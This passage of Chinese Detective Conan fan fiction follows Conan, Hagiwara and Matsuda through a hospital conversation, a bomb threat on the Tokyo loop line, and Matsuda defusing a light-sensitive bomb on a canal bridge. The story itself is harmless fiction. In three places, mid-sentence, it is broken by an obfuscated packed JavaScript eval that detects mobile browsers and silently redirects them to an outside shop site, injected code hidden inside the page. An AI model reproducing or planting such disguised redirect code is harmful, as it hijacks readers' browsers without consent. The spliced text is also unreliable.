老实说,等今天探望完萩原研二、了解更多现场情况,他打算直接去池袋西口公园逛几圈,为此还特意带上了滑板。 虽然不一定真的能找到什么线索,但侦探的行动力永不言败。 半小时后,他在病床前见到了还戴着呼吸机的萩原研二。 戴眼镜的中长发青年正半靠在床上,垂眸看着一本书。他额头上裹着一圈绷带,穿着一件松松垮垮的病号服,隐隐露出里面缠着的绷带。 几根检测心跳和其他数据的电极线从敞开的领口和袖口穿进去,他左手手背还插着葡萄糖注射液的针管,被一张白色的医用贴纸贴住。 呼吸机挡住了他半张脸,长发垂落在耳侧,露出一张清俊的侧脸。 江户川柯南这才意识到他其实身材清瘦。 作为一个曾经当过警察的青壮年,他似乎没有强健壮硕的体格,只不过一个身高180往上的成年男性,再纤瘦平时也看不太出来。 看到毛利少女和江户川柯南进来,俊秀的长发青年抬头对他们笑了一下。 “麻烦你们来探望了,抱歉,我现在下不了床。” 萩原研二的声音很温和,因为内脏受损,他的气不太足,脸色也有点苍白。 毛利兰在他的注视下不禁有些脸红,连忙摆摆手送上带来的水果。 江户川柯南却不禁有一瞬间的沉思。 下不了床,而非不能下床吗? 前者听起来像他根本做不到,后者则只是遵循医嘱。 他不禁想到昨天星野真弓给他电话号码时说的话。 【“萩原君现在的状况比较特殊,有可能得由她来跟你们沟通,不过也有可能那个时候萩原君已经恢复正常了。”】 ......恢复正常? 再抬头时他突然发现,萩原研二捧着书的手是左手。 他看着青年单手合上书本,然后把书放回床头,那竟然是一本英文化学书,标题里有几个单词甚至连他都不太熟悉。 小侦探一愣。 “萩原哥哥,你在看什么呀?” “.....啊,那个是我大学时用的专业书,我大学是学化学工程的。” 萩原研二不知回想起了什么,无奈一笑,“我拜托小阵平帮我找出来的,因为想研究一下那个炸弹的原理。” 江户川柯南一怔,立刻认真起来:“那个炸弹是什么样的?” 萩原研二抬起左手捏了捏眉心,他闭上眼。 “老实说,我没有怎么看清。我有创伤后应激障碍,炸弹计时器对我来说是会导致病情发作的应激源,发作症状之一就是视力模糊。当时房间一片昏暗,我其实只大概看到了计时器的轮廓。” 江户川柯南和毛利兰齐齐一愣。 人类大多对自己的伤痛三缄其口。一半是出于自尊心,另一半是为了自我保护。 而萩原研二似乎二者皆不在意,显得格外风轻云淡,反倒弄得听者不知如何是好。 半晌,江户川柯南干巴巴地问:“那......你有回想起什么吗?” 萩原研二刚想说点什么,病房突然被人推开。 一身黑西装的松田阵平走进来,他嘴里还叼着一根没点燃的烟,大概是顾忌病人。 看到两位访客,他也没露出惊讶的表情,只沉默地点点头便在病床另一侧坐下,低头开始在手机上单手打字,另一只手还插在西装裤口袋里,一副酷哥做派。 反倒是萩原研二看着他觉得有点好笑。 “小阵平,你这样会吓到小朋友的。” 松田阵平闻言似乎想扯动嘴角露出一个不屑的神情,又不知为何忍住了。 他直直看向江户川柯南的眼睛。 “这家伙需要休息,你问题尽量少点。炸弹的问题也可以问我。” 小侦探一愣,有点没想明白松田阵平是怎么知道自己有问题想问他的幼驯染的。 萩原研二看着幼驯染噗嗤一笑。 “好啦,我感觉我其实已经恢复得差不多了。” 他忽然举起一直隐藏在身侧的右手,那只手正无法控制地轻微发颤着。 萩原研二将手伸到松田阵平眼前晃了晃。 “你看,比上午幅度小了很多,肯定很快就没事了。” 江户川柯南看着他格外苍白细瘦的右手,忽然意识到这也是萩原研二的PTSD症状的其中一种。 难怪从刚刚开始萩原研二就一直在用左手做事,他走进病房时察觉到的违和感不是错觉。 萩原研二转过头来:“柯南君,你有带笔吗?” 毛利兰一愣,低头在随身包里翻找。 “我好像有带钢笔。” 一分钟后,萩原研二用左手扯过床头一张化验单,翻到反面垫在那本英文化学书上,刷刷画了起来。 半晌,他将那张草图递给柯南。 “虽然没怎么看清,但爆炸的威力和范围我确确实实地感受到了。如果是塑/胶炸弹,应该就长这个样子,问题是我并不觉得那是个塑/胶炸弹。” “诶?为什么这么判断?” “这个嘛——你就当作是前拆弹手的直觉吧!”萩原研二露出一个清爽的笑容。 “炸弹和人一样,都是有性格的,炸弹的性格也会反映出制作者的性格。爆炸的那一瞬间,我可以感受到那个犯人的情绪。” 江户川柯南被他的玄学描述唬得一愣一愣。 “......什么情绪?” “大概是愤怒、不甘、还有无可奈何吧。”萩原研二说。 “他肯定是个制作炸弹的老手了,但是这一次总给人一种不太乐意的感觉......说实话,我觉得那个炸弹被放得离门太近了。这是一个很明显的失误。” “设计一个一开门就爆炸的简易机关很简单,但是那个炸弹启动后却有20秒的缓冲期。一个离门那么近的炸弹,普通人看清之后都能反应过来转身逃走,你不觉得犯人不太谨慎吗?” 江户川柯南一愣。 “你也觉得犯人故意想杀死开门的人?” 松田阵平这时忽然开口:“不然他为什么要设计开门就爆炸的开关?犯人的行为逻辑和他设计炸弹的风格不一致,他理应自信、大胆、谨慎,却突然在这种细节上失误。” “要么制作炸弹和摆放炸弹的不是同一个人,要么他正在经历某种内心的震荡,他不是心甘情愿把炸弹放在那的。” 他放下手机,像是开始准备认真参与讨论。 “小鬼,你觉得是哪种可能?” 他直视江户川柯南的眼睛乌黑。 那是一双太过冷静的眼睛,以至于被注视的人很容易觉得自己在那样的目光下无所遁形。江户川柯南忽然觉得松田阵平像是在对他发起一场挑战。 而名侦探从不畏惧挑战。 他微微一笑:“我觉得是后者。” “理由呢?” “如果松田警官告诉我佐佐木大介的公寓为什么会被炸弹犯袭击,我就告诉你我的理由怎么样?” 松田阵平一怔。 半晌,他轻笑一声。 “那家伙说你很聪明,原来是真的。” 江户川柯南眨眨眼:“那家伙?......星野姐姐吗?” 萩原研二噗嗤一笑。 “哈哈哈,Mayu酱不是一直很喜欢少年人才吗,年轻人就是国家的未来啊。” “诶?等等......”江户川柯南瞳孔地震,“Mayu酱??” 你管她叫Mayu酱??? 一瞬间,很多画面在他脑海里浮现。 星野真弓称呼萩原研二“萩原君”,却能十分信任地把店丢给他当甩手掌柜。 萩原研二跟每个女性都能自然而然地变得很熟,却只跟自己的店长保持着社交距离。 松田阵平则是个完全不知道打哪来的戏外人,估计跟星野真弓只能算是认识。 他原本以为三人根本不熟,结果..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459047|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .“Mayu酱”??“那家伙”?? 明明昨天晚上星野真弓开车时还在喊着“萩原君”! 小侦探睁大眼睛:“你们三个原来是熟人!!” 说好的工作关系,说好的不是私人朋友呢!! 松田阵平“哈”了一声。 “不然你以为我们什么关系?工作场合有工作称呼,私下里当然爱怎么来就怎么来了,你的小脑袋瓜在想什么呢?” “我要收回我的话,那家伙还觉得你聪明,究竟聪明到哪里去了?” “不、等等,不是,”江户川柯南看看他们的脸,又抬头看看似乎并不意外的毛利兰。 “小兰姐姐,你也知道吗??” 毛利兰噗嗤一笑。 “柯南你刚住到我家,没怎么见过真弓桑几次吧?相熟的朋友之间的氛围和其他人是不一样的哦,就像我和园子一样。” 不是啊!我只是刚住到你家,不是刚刚认识星野真弓啊! 同样认识了三年,甚至还一起破了几个案子,为什么你知道我却不知道啊!!! 而且,我跟园子也一直同校,我们俩就绝对没有什么莫名其妙的氛围,我只跟你有啊! 所以什么“萩原君”,什么“店长”的,都只是这帮人为了工作时间保持距离演出来的! 那个女人私底下居然能接受“Mayu酱”这种称呼,萩原研二的社交能力果然恐怖如斯,他就不该怀疑的,太对不起你了萩原哥! 小侦探在内心抓狂了一会儿,终于放弃道:“我是真的没看出来,你们藏得太好了。” 松田阵平扯起嘴角一笑:“如果连这个你都看不出来,那其他的要怎么办?” 没等小侦探反应过来,他忽然转回刚刚的话题。 “所以呢,你为什么觉得我会知道佐佐木大介家被炸的原因?” 说起正事,江户川柯南一秒严肃起来。 “刚刚我们讨论的时候,松田警官虽然在发短信,但其实一直在听着吧?炸弹也是你的专业领域,但你却一直等我们提到犯人的行为逻辑时才插话。” “我昨天从警视厅回来之后在网上查了查你的名字,你曾经代表警视厅出镜过宣传片,还负责过好几起重大案件的拆弹工作。在炸弹专家的领域里,你远不止是出色,简直可以说是天才。” 对他的夸赞没表现出什么反应,松田阵平挑眉。 “所以呢?” 江户川柯南勾唇一笑。 “所以,在你开口的时候我就发现,你看起来似乎对犯人的身份胸有成竹,不参与关于炸弹的讨论是因为根本不需要,你早就已经知道犯人是谁了。” “范围精准、威力计算得当,犯人是个制作炸弹的老手,这样的人不可能没有犯下过其他案件。” “你是警察厅的公安警察,一般警察不知道的东西你可能早就心里有数。我猜,犯人一定是某个有前科的通缉犯吧?” “他甚至可能是某个犯罪组织雇佣的清道夫,专门来清除佐佐木家中的痕迹。” “你既然能找到犯人的身份,必然也能想到这一步,佐佐木大介身上肯定有什么我们不知道的秘密才会惹上这种麻烦。” 完全正确。 要不是右手不受控制,萩原研二都想给他顾个掌。 小侦探大概还没发现他其实也是知情人,对那个炸弹外观的游移不定其实都是他装出来的。 他虽然确实没看清佐佐木公寓里的炸弹,但三年前他早就跟普拉米亚制作的炸弹亲密接触过了,简直熟得不能再熟。 刚刚江户川柯南和毛利兰进来以前,他就跟松田阵平商量好演一演考验一下小侦探。这毕竟是松田阵平第一次正儿八经见他,多少对得到星野真弓夸赞的这个少年的能力有些好奇。 结果小阵平的演技一如既往地烂。 或者说,他完全懒得掩饰。 被他在内心吐槽的某人听完小侦探的话,忽然摘下嘴里的烟,凶巴巴地瞪了萩原研二一眼。 萩原研二:? 不会吧,直觉系对别人在内心吐槽他都能这么敏感?小阵平,恐怖如斯! 21. 第二十一章 再看去松田阵平已经移开了视线,他冷哼一声。 “你说的不全对,但也差不多。我可以告诉你犯人是谁以及整件事的来龙去脉,但是需要等你一个人来的时候,这个......这位小姐不可以旁听。” 萩原研二和江户川柯南齐齐嘴角一抽。 你刚刚是想说“这个女人”对吧! 到底是对着星野真弓叫习惯了还是当公安警察嚣张惯了,而且你居然还知道对着无辜的未成年女孩改下称呼!! 小阵平,你长大了!/松田警官,好嚣张! ...... 最终小侦探还是没舍得把喜欢的女孩子赶出病房不让她旁听谈话。约定好明天独自再来后,他牵着毛利兰的手离开了医院。 他现在准备找个借口继续进行他原本的计划——去池袋西口公园一探究竟。 “——所以就是这样,我跟朋友约好了在那里见面,晚饭我自己可以解决啦,小兰姐姐你就放心让我去嘛!” 名侦探撒起娇来毫不脸红。毛利兰半信半疑地盯着他看了半晌,终于心软答应下来。 两人在医院附近的东京环状线地铁站告别,分别坐上反方向的列车。 此时已经接近下午四点,江户川柯南坐在列车上看着头顶的线路图,盘算应该几点回毛利侦探事务所。 冬日的阳光洒在堤无津川上,平静的河面泛着一层金属般的光泽。他发着呆回想起这两天发生的事,总觉得自己忽略了什么。 十分钟后,他眼睁睁看着列车开过了一个本应停靠的站点,突然意识到不对劲。 ...... “砰”、“砰”、“砰”。 回荡在靶场里的枪声停了下来。 星野真弓摘下耳罩,看着智能靶场将贴着射击靶纸的靶子移到她跟前,眯眼打量了一会儿。 风见裕也站在她身边,也在盯着那张靶纸。 “全部十环,简直像只开了一枪一样......星野小姐好厉害。” 他脖子上也挂了一个耳罩,面前摆着一把HKP7M8,这是他的配枪。 星野真弓的枪却并不是统一型号。 她放下那把格/洛/克18,冷哼了一声:“太久没开枪,退步了。” 风见裕也根本不明白这算哪门子退步。 星野真弓大概还不知道,那些清楚她身份的公安们私下里其实给她取了一个绰号——“弓之女神”。 偶尔有人见到过她身穿素净的和服、在警察厅的弓道场拉弓放箭的样子,再加上百发百中的射击水平、和传说中同样优秀的狙击实力……这个称号名副其实。 不过风见觉得还是另一个小众一点的外号“女王弓”更符合她的气质一点。 当领导当久了,说一不二、运筹帷幄地指挥下属的样子,完全就是女王嘛! 星野真弓不知道他在想些什么乱七八糟的。她摘下护目镜理了理头发,转头看向风见:“你打几发我看看。” 风见立刻戴上耳罩照做。结果在星野真弓凌厉的眼神逼视下,他过于紧张,有几枪甚至打到了外环。 星野真弓抱臂饶有兴致地一笑,根本不知道自己给人家造成了多大的心理压力。 “看来还得再练练啊,你这样,真的胜任得了那个工作吗?” 风见裕也一怔,手差点拿不住枪,转过来惊讶地看着星野真弓,动作之突然差点让他闪到腰。 “降、降谷先生他终于——” “别在外面喊他的名字。”星野真弓皱眉,然后点点头。 “是啊,海关的公安前几天接到了安室透这个护照的入境信息,他也提前告知我了,过几天应该就会想办法联络你。” 虽然已经为此准备了很久,但真的要开始执行一项单人秘密任务,风见裕也还是忍不住紧张了起来,“那、那我需要再准备些什么吗?” 半晌他才反应过来他正在询问的人是星野真弓,而不是什么人事部的知心大姐姐。星野真弓可不会耐心地帮他解答疑问。 重新戴上护目镜的女人轻笑一声,再次对着靶心举起枪。 “什么都不用准备,把你自己准备好就行。不要质疑卧底的决定、不要过问上司的行动,最重要的,不要出卖你的同伴,怎么当接应人还需要我来教你吗?” 没戴耳罩,她笔直地举起右手单手扣下扳机。 “砰”地一声,崭新的靶纸上出现一个新的十环,枪声在射击场里回响。 星野真弓似乎根本没被后坐力影响到,依旧静静地直视着前方。 “敢出卖他,我亲手杀了你。” 风见裕也额头上瞬间冒出了冷汗。 亲手杀过人、逮捕过最凶恶罪犯的公安警察威胁起人时的气势可不是在开玩笑,他半晌不敢多说一个字。 电话铃声就在这个时候响了起来。 星野真弓准备扣下扳机的手指滞住,她有些烦躁地放下枪。 “喂,阵平?” 对面似乎说了什么,她微微一愣。 “......东京环状线?” ...... 列车的速度越来越快了。 江户川柯南正在给目暮警官打电话。 意识到列车非但没减速反而故意错过了一站后,他又亲眼看着隔壁那条铁轨上的另一辆列车同样错过了本应停靠的站点。 没等他反应过来,列车突然开始加速。 多辆列车同时出现异常,警视厅不可能不知道消息。他站起来跑进一个附近没什么乘客的角落,掏出变身器转换成工藤新一的声音。 “目暮警官,我是工藤,东京环状线是出了什么事吗?” 东京铁道调度总站的指挥台前,目暮警官正紧张得冷汗直流,突然接到工藤的电话,他立刻像找到救星一样把事情一股脑给说了。 “太好了,工藤君,差点忘了还有你这位名侦探了!” “就在刚刚,警察厅的松田警官接到了一个电话,有人说他在东京环状线上安装了五颗炸弹,如果四点之后列车时速低于60km或者太阳下山之后还没拆除的话,炸弹就会立刻爆炸!” “炸弹?!” 名侦探一惊,瞳孔紧缩。 糟糕,小兰也在东京环状线上! “对了,工藤君,你是怎么知道东京环状线的事的?你也在列车上吗?” 江户川柯南没回答他的问题,涉及到小兰的生命安全,他立刻紧张起来:“目暮警官,犯人还说了什么没有?” “犯人只给了一个提示:他将炸弹安装在了东京环状线的XX之X。” 目暮警官又说:“我现在正在东京铁道调度总站,刚刚我们已经要求东京环状线正在运行的所有列车不再停靠站点,将车速保持在70km/h左右,松田警官也正在赶来。工藤君,如果你对那个提示有什么想法,请务必告诉我!拜托了!” 江户川柯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459048|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南咬牙,沉沉应了一声。 看着挂断的电话,他担忧小兰安危的大脑迅速运转了起来。 为什么又是炸弹?这次犯人为什么突然改换了作案风格,一下子大张旗鼓以来?还是说这只是个巧合,佐佐木大介公寓爆炸案和劫持东京环状线的是两个人? 炸之前为什么要给提示?XX之X又是什么意思? 还有—— 为什么犯人要打电话给松田阵平? ...... 星野真弓正在狂踩油门飙车。 东京环状线的异常已经引起了媒体的注意,她路过某个十字路口的广告大屏时,那上面正在播报电视台对此事件的分析。 匆匆瞥过新闻,她面色微沉。 蓝牙耳机里,松田阵平同样在开车。 “——这不符合他的行为习惯,普拉米亚是典型的清道夫型杀手,杀人是为了给别人办事,他不喜欢搞得太高调,为什么这次却突然开始打电话给提示,又为什么特意打给我?” 他显然和某位名侦探有一样的疑问。区别在于,他更愿意相信直觉,而他的直觉永远敏锐。 “我觉得劫持东京环状线的犯人可能不是普拉米亚,或者说不完全是。虽然两件事撞在一起十分凑巧,但巧合也是有可能存在的。” 星野真弓没说是或不是,她打着方向盘,声音依旧镇定:“现在的当务之急还是解开那个暗号。车上的乘客和司机撑不了太久,我们拥有的时间实际上比日落之前还要更少。如果那五颗炸弹真的爆炸,这将是自沙/林毒气事件之后东京环状线遭受的最严重的恐怖袭击。” 1995年3月20日,日本邪/教组织奥姆真理教的三名教徒在东京环状线的五辆列车上投放沙/林毒气,最终造成13人死亡,约5500人中毒,1036人住院治疗。 奥姆真理教特意将袭击地点选在被政府机构环绕的霞关站附近,事件发生当天,东京交通停滞,二十多个地铁站受到影响,整个东京陷入一片混乱。 如果五个威力不明的炸弹在行驶中的列车上同时爆炸,死亡人数绝对比毒气攻击更可怕。 当年奥姆真理教发动毒气恐袭后,还曾经试图狙击暗杀一名警察厅长官、向东京都厅邮寄炸弹、挟持飞机营救被关押在监狱的邪/教头目,虽然最终都失败了,但此前他们所作所为造成的社会影响和恐慌非同小可。 那么这个炸弹犯呢?就算他们今天成功拆除了炸弹,如果这仅仅只是一个开始呢? 奥姆真理教当初坐拥好几个化工厂制作毒气,这个犯人又是从哪搞来的炸药? 松田阵平清楚她的意思。 他踩下刹车,将车停在东京铁道调动总站门口,举着手机大步往里走。 “提示只有‘XX之X’,能够组合起来的可能性太多,关键点绝对不在这里。我觉得有意思的是他为什么强调一定要在日落之前。” “日落了为什么就会爆炸?说到底,日落的标准是什么?是落到被富士山正好挡住就行,还是完全一丝日光也没有?月光呢?月光算光吗?” 星野真弓将车开上高速,闻言一愣。 “等等,你刚刚说什么?‘挡住’?” 松田阵平一怔。 他又高腿又长,走路速度很快,不一会儿已经站到了目暮警官和铁道调动总站的负责人身后,正一边看着他们的背影一边跟星野真弓打电话。 “你的意思是说——” 22. 第二十二章 “如果是你的话做得到吗?设计威力那么大的感光炸弹。”星野真弓道。 “我记得感光炸弹要装简易太阳能发电板,拆掉原本的光电管重新设计感光起/爆装置,这样太阳能电板吸收的光能才能瞬间转化为电能引爆炸弹吧?” 松田阵平笑了一声:“对感光炸弹一知半解就别乱讲了,而且东京环状线上的炸弹应该不是感受到光线之后就会爆炸,相反,应该是无法感光就会爆炸吧。” “这种特殊炸弹我做得出来,但是一般人、就算是很多爆破专家都不一定特意学过,这个炸弹犯绝对是个老练的炸弹专家。” 星野真弓对炸弹不算精通,说错了也不觉得有什么。 推理出真相后她紧绷的精神稍微放松了一点,忍不住微笑:“真是对不起,用太阳能电板做简易炸/弹是我当年接受训练的时候顺带学的,怎么可能比得过你。” 挂断电话后,她放缓车速,单手打开了手机里的某个图标。 一个小小的红点正在东京地图上高速移动着,她静静看了一会儿,半晌抬头收起手机。 ...... “目暮警官,我已经知道那个提示的答案了。”松田阵平将手机放回口袋走上前去。 目暮警官闻言猛地转头。 “松田老弟,真的吗!你知......” 他惊喜的声音被手机铃声打断。 目暮警官掏出手机一愣,“工藤君啊,怎么了?” 少年清朗焦急的声音在电话里响了起来:“目暮警官,我知道那个暗号指的是什么了!XX之X其实就是——” “——是铁轨之间。” 在场众人一愣,纷纷看向正低头漫不经心给自己点上一根烟的松田阵平。 工藤新一隔着手机听出了这个声音是谁。他的电话被目暮警官开了免提,一时间几步开外的松田阵平也能听清他讲话。 “没错,松田警官,你也猜到了吗?” 松田阵平没搭理他,转头对目暮警官说:“犯人应该设置的是一段时间无法感光后就爆炸的炸弹,60km/h的限制则是为了确保列车车长的统一规格能高速驶过炸弹,这样炸弹才不会因为被列车遮挡而爆炸。” 少年侦探的声音紧接着响了起来。 “犯人说的是【东京环状线的XX之X】,既然炸弹就安装在东京环状线的铁轨上,那么只要把列车开到别的铁路上,炸弹就没法引爆了!” 两个聪明人的异口同声使这个推理的可信度瞬间拔高了不少。 目暮警官和铁道调动总站的负责人员对视一眼,立刻忙碌起来。 一时间,调度大厅里到处都是热热闹闹的指挥声。 数条铁轨开始被操作移动,列车拐上旁边的货运线后,慢慢减速停下。 无事发生。 二十分钟后,江户川柯南走下列车,手机里正不断拨打着毛利兰的电话。 半晌,他意识到了什么,掏出另一部手机,看到了一排的未接来电通知。 ......糟糕,刚刚用工藤新一的手机给目暮警官打完电话之后就没电关机了,搞得小兰打不进来,结果属于柯南的手机也因为小兰占线没打通她的电话。 懊恼之余他心里又有些高兴,虽然谁都没打通,但他们一直都在给对方打电话。 就在这时,螺旋桨的声音忽然从头顶传来,江户川柯南抬起头。 东京的天际线上正低空飞过一架黑色的阿帕奇直升机。 ...... 十分钟前。 看着调度总站进入热火朝天的忙碌模式,松田阵平默默退到角落里。就在这时,手机震动了起来。 “真弓?” “我用[零]组的权限登陆了警视厅的实时卫星,虽然其他地方来不及一个个排查完,但我在没有任何遮挡的隅田运河桥上发现了一颗炸弹。你的想法是对的,是塑/胶炸弹,和普拉米亚的习惯不一样。” 松田阵平一怔。 “日落之后炸弹就会爆炸,我不清楚警视厅现在的能力,但是阵平,你应该还剩下四十五分钟左右,足够了吧?我会派人接你去隅田运河桥,必须把那个炸弹拆除,完好无损地带回来。” “接我?” 松田阵平有些莫名地低头看向手里的车钥匙。 29岁的人了,他又不是自己没车! 五分钟后,松田阵平面无表情地走上铁道调度总站的天台。 一架黑色直升机正停在天台停机坪上,螺旋桨飞速旋转,发出巨大的引擎噪音。 星野真弓显然是个很会物尽其用的领导,而且特别不客气,警察厅刚给她批的直升机,她转头就高效率地用上了。 驾驶员探出头来大喊:“松田警官吗?已经跟空中交通管制中心打过招呼了,快上来吧!” 松田阵平压着被吹得乱七八糟的卷发,在狂风中冲上直升机副驾驶。 关上直升机舱门后,戴头盔和墨镜的驾驶员递给他一个工具箱,又指指后座。 “到时候你就穿上防护服,拉着安全绳索从直升机上跳下去,我听说你接受过特种部队训练,这点小事应该没问题吧?” 松田阵平这才发现这是个女飞行员。 他接过工具箱,系上安全带,戴上墨镜和直升机通讯耳机,扯开嘴笑了一声。 “你只管打开舱门就好了。” 驾驶员直爽地咧嘴:“不愧是松田警官,久闻大名了。” 伴随着引擎和螺旋桨的轰鸣声,阿帕奇直升机缓缓起飞,迅捷地掠过东京上空,直奔目的地而去。 随着直升机的影子出现在波光粼粼的河面上,松田阵平从副驾驶站起来走到后舱穿好防护服,他扣上安全绳,扶着机舱,看着后舱舱门缓缓打开。 狂风瞬间席卷整个后舱,将他早就摘下墨镜的黑色眼睛吹得眯了眯。 低头踩踩直升机结实的钢板地板,他毫不犹豫地拎着工具箱跳了下去。 安全绳索瞬间伸缩,松田阵平一手抬起稳稳拽着吊绳,一手拎着工具箱,像黑色雄鹰那样从天而降,落在夕阳下的运河桥上。 在地上滚了一圈做了缓冲,他站起来看向不远处铁轨上的炸弹。 “我解开安全绳了。”他耳朵上还挂着连接直升机频道的通讯耳机。 “不行!我接到了命令,在你拆除炸弹之前我会一直在你上空盘旋,你不能解开安全绳。”女飞行员大声说。 “万一出现什么意外,我会立刻把你拉回来,松田警官,这是命令!” 松田阵平轻笑一声,抬手毫不犹豫地解开了安全绳。 “我什么时候乖乖听从过命令?” “系着安全绳不方便拆弹,而且你一直在那盘旋,最后不会带着安全绳把我绑起来吧?放心吧,如果出现意外,我会立刻跳河的。” 大概是久违地有炸弹拆,他心情十分不错,竟然还难得解释了几句。 低头打开工具箱,他不知道从哪摸出一根烟放在嘴里叼着,拎着螺丝刀在炸弹前蹲了下来。 那是个简单粗暴的塑/胶炸弹。 拧开外盖螺丝,拆除光电管,剪断、剪断、剪断。 五分钟后,松田阵平一抹额头,轻轻呼出口气。他伸出剪刀剪断了最后一根电线。 炸弹上的红灯闪了一下,显示屏出现了“STARTUPCANCELED”几个大字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459049|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对炸弹领域金字塔尖上的人物来说,这种程度的塑/胶炸弹就像小孩子过家家一样。 松田阵平平静地开始收拾工具箱。 拆弹时集中的注意力被分散,头顶螺旋桨的声音顿时明显了起来,他这才发现直升机依旧在自己头顶上盘旋。 安全绳索的扣子被他解开后,就垂落在自己身边不远处,他干脆伸出手把安全绳索拉了过来。 就在他刚要重新扣上的时候,本应被拆除的炸弹忽然“滴滴”了两声。 松田阵平瞳孔猛地一缩。 显示屏重新跳动了一下,一个倒计时显示在上面。 00:05 00:04 松田阵平瞬间反应过来,他扔掉绳索对耳机大声吼道:“赶紧离开,炸弹重新启动了!” 接着,他全身的肌肉几乎被瞬间调动起来,大腿发力,刹那间从半跪的姿势直冲了出去,一个跨步踏上运河桥的栏杆。 他深吸口气,膝盖一紧借力飞跃出去。 “轰——” 炸弹在他身后爆炸,火光冲天。 黑色的雄鹰从空中坠落。 虽然被边缘冲击波震到了背部,但幸好穿了防爆服,松田阵平俯冲进河,激起一小片水花。 更多的残骸和碎屑坠入河面,他在水里吐出一串泡泡,一用力扭身往河面游去。 他一边摆动双腿一边用手解开防护服的扣子。摆脱笨重的防护服后,他瞬间游得更快,像灵活的鱼儿一样赶在肺里的氧气耗尽前将头探出水面。 松田阵平第一时刻抬头看天空。 女飞行员似乎反应也很快,已经飞离了炸弹的爆炸范围,直升机尾翼大概受了点轻伤,正有些歪斜地驶向不远处的一个高楼停机坪准备迫降。 耳机传来滋啦滋啦的电流声,半晌,女人焦急的喊声传来:“...呼叫松田,呼叫松田!你听得到吗?你还好吗?” “这里是松田,我听得到。” 松田阵平抹了把脸。 “我没事,爆炸前跳河了,这个耳机大概不防水,就这样,再见。” 他简短地说完,一把扯下耳机,避开河面上浮起来的其他爆炸残骸,转身向岸边游去。 十分钟后,他湿淋淋地走上岸。 一个抱着滑板的小男孩正站在不远处。那居然是江户川柯南。 他似乎正紧盯着那座还在冒着浓烟的桥,没有看到十几米外突然从河里冒出来的松田阵平。 松田阵平觉得有些好笑地喊了一声。 “小鬼,你在这里干什么?” 小鬼一愣,转头朝他看去。他眼镜后的钻蓝色眼睛似乎看到了什么不可思议的奇迹,半晌才颤抖着张开嘴。 “松田警官,你还活着?” 松田阵平抹了下粘在额前的头发,他的卷毛变成了一缕一缕的湿发,越发凸显出五官的立体和帅气。 衬衣已经全部湿透了,他穿上防护服的时候就脱了西装外套,只穿了件白衬衫。现在那件湿透的白衬衫正紧紧贴在他身上,隐隐透出锻炼良好的腹肌和紧致腰线。 他浑不在意地低头拧了拧衣角,向江户川柯南走去。 “我还活着有什么好奇怪的?一个塑/胶炸弹而已。” 松田阵平滴着水的手不讲理地揉了揉小侦探的头,蹭了小孩一脑袋的水。 “小鬼,你带了手机吗?” 江户川柯南愣愣地掏出手机递给他。 他抬手拨通一个电话。 电话那头传来被接通的声音,紧接着是几秒的沉默。 松田阵平垂下眸,眼神有些晦涩。 “没事了,真弓。” 我还活着。 23. 第二十三章 “我怀疑,我身上可能真的有什么诅咒也说不定。” 星野真弓抿了口咖啡。 “跟我靠得近的人都没什么好下场。”她抬起头,“这是事实,你不要反驳我。” 对面的短发女警无奈地皱眉:“真弓,你不要乱说,如果是这样的话那我也没好多少。” 星野真弓微微一笑。她右手搅拌着咖啡杯里的银匙。 “但是碰到你之后倒霉的不都是连环杀人犯吗?他们罪有应得啊。说不定你身上其实带着什么正义的伙伴的光环呢?” 本堂町小春摆手:“别开玩笑了,你知道我碰上的案子,最后结局总是会变成就地击毙吧?” 星野真弓挑眉:“在这个国家,就算抓到罪大恶极的凶犯也不一定判得了死刑。” 本堂町小春,29岁,警视厅刑事部搜查一课特殊犯罪行为分析室(SpecialCrimeAnalysisDepartment,SCAD)的成员,职衔警部。 如果说同属搜查一课的第二强行犯搜查三系的目暮警官是只负责普通谋杀案的刑警,那么特殊犯罪行为分析室SCAD就是一个专门为了追击穷凶极恶的连环杀人犯和变态杀人犯而组建的精英小组。 在本堂町小春这个年纪的准职业组中,29岁的警部是个奇迹般的记录。而她升职的时间甚至还要更早,27岁就做到警部了。 事实上,本堂町小春的能力确实对得起她的警衔。 自她从警校毕业被选入警视厅新成立的特殊犯罪行为分析室以来,已经连续参与破获了多起重大连环杀人案,在破案过程中立下了赫赫功劳。 不过,光看外表大概没有人会觉得这样一位身材娇小的女性竟然是那么厉害的刑警。 她留着一头黑色的短发,额头上还戴着一个可爱的樱花发卡,明明已经29岁了,却顶着一张娃娃脸,看起来更像刚刚毕业的大学生。 “坐在你对面我都觉得我老了。”星野真弓道。 